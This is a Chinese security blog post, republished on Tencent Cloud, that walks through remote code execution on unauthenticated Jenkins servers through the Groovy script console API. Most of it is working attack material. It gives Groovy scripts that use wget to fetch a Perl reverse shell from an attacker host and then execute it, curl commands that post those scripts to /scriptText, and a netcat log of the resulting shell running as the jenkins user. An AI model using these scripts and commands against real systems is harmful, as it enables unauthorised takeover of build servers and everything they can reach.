前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Jenkins RCE 通过未经身份验证的 API

Jenkins RCE 通过未经身份验证的 API

作者头像
Khan安全团队
发布2021-07-08 11:39:38
1.1K0
发布2021-07-08 11:39:38
举报
文章被收录于专栏:Khan安全团队

Jenkins(连续集成服务器)默认安装允许未经身份验证访问 Jenkins 主服务器上的 API(默认行为)。允许未经身份验证访问 groovy 脚本控制台,允许攻击者执行 shell 命令和/或连接回反向 shell。

Jenkins

版本 1.626

Jenkins

版本 1.638

经测试的操作系统

努力测试所有受影响的操作系统,显示默认操作系统打包版本的漏洞利用(例如 jenkins shell)的严重性。

操作系统

默认包展示

CentOS 6 - Jenkins RPM via Jenkins YUM Repo

shell 作为用户 jenkins

制作了一些小的 groovy 脚本来通过 Jenkins API 执行我想要的 shell 命令(我记得有一些问题通过 groovy 一次运行多个命令),然后我使用 Curl 执行它们。

groovy 脚本 wget shell

脚本将 wget perl 反向 shell 定位到目标并将其复制到 /tmp/shell

代码语言:javascript
复制
def command = "wget http://192.168.145.128/perl-reverse-shell.pl -O /tmp/shell"
   def proc = command.execute()
   proc.waitFor()
   println "Process exit code: ${proc.exitValue()}"
   println "Std Err: ${proc.err.text}"
   println "Std Out: ${proc.in.text}"

默认情况下,Jenkins 需要/tmp设置执行挂载选项,因此您应该可以安全地将 shell 放置在 Jenkins 服务器上。

groovy 脚本执行 shell 命令

代码语言:javascript
复制
    def command = "perl /tmp/shell"
    def proc = command.execute()
    proc.waitFor()              

    println "Process exit code: ${proc.exitValue()}"
    println "Std Err: ${proc.err.text}"
    println "Std Out: ${proc.in.text}"
代码语言:javascript
复制

通过 scriptText Jenkins API 执行 Groovy 脚本

代码语言:javascript
复制
curl -d "script=$(<./wget.groovy)" -X POST http://192.168.30.130:8080/scriptText
curl --data-urlencode  "script=$(<./execute.groovy)" -X POST http://192.168.30.130:8080/scriptText
代码语言:javascript
复制
代码语言:javascript
复制
[root:~/pwn-jenkins]# nc -v -n -l -p 443
    listening on [any] 443 ...
    connect to [192.168.30.128] from (UNKNOWN) [192.168.30.130] 42340
     21:16:17 up 15:17,  1 user,  load average: 0.23, 0.31, 0.17
     USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
     root     tty1     -                05:59    3:40   0.12s  0.12s -bash
     Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
     uid=498(jenkins) gid=499(jenkins) groups=499(jenkins) context=unconfined_u:system_r:unconfined_java_t:s0
     /
     apache: cannot set terminal process group (-1): Invalid argument
     apache: no job control in this shell
     apache-4.1$ whoami
     whoami     jenkins
     apache-4.1$ id
     id     uid=498(jenkins) gid=499(jenkins) groups=499(jenkins) context=unconfined_u:system_r:unconfined_java_t:s0
     apache-4.1$
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 经测试的操作系统
    • groovy 脚本 wget shell
      • groovy 脚本执行 shell 命令
        • 通过 scriptText Jenkins API 执行 Groovy 脚本
        相关产品与服务
        多因子身份认证
        多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档